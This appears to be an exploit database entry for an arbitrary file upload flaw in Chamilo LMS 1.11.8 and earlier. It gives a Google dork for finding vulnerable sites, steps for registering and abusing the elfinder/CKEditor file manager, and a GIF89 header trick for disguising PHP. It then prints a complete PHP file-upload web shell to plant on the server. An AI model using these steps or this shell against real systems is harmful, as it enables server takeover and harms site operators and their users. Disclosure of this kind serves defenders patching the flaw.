Chamilo LMS 1.11.8 Shell Upload

2019.09.26
Credit: Sohel Yousef
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

<-- # Exploit Title: Chamillo LMS Arbitrary File Upload # Google Dork: "powered by chamilo" # Date: 05/10/2018 # Exploit Author: Sohel Yousef jellyfish security team # Software Link: https://chamilo.org/en/download/ # Version: Chamilo 1.11.8 or lower to 1.8 # Category: webapps 1. Description Any registered user can upload files and rename and change the file type to php5 or php7 by ckeditor module in my files section register here : http://localhost/chamilo//main/auth/inscription.php after registration you can view this sections http://localhost/chamilo/main/social/myfiles.php http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0 upload your shell in gif format and then rename the format if the rename function was desabled and add this GIF89;aGIF89;aGIF89;a before <?PHP to be like this for examlple GIF89;aGIF89;aGIF89;a<html> <head> <title>PHP Test</title> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="upload file" name="submit"> </form> </head> <body> <?php echo '<p>FILE UPLOAD</p><br>'; $tgt_dir = "uploads/"; $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']); echo "<br>TARGET FILE= ".$tgt_file; //$filename = $_FILES['fileToUpload']['name']; echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"]; if(isset($_POST['submit'])) { if(file_exists("uploads/".$_FILES["fileToUpload"]["name"])) { echo "<br>file exists, try with another name"; } else { echo "<br>STARTING UPLOAD PROCESS<br>"; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $tgt_file)) { echo "<br>File UPLOADED:- ".$tgt_file; } else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; } } } ?> </body> </html> and uplaod it as php.gif you can browse the files form right click and click on browse option


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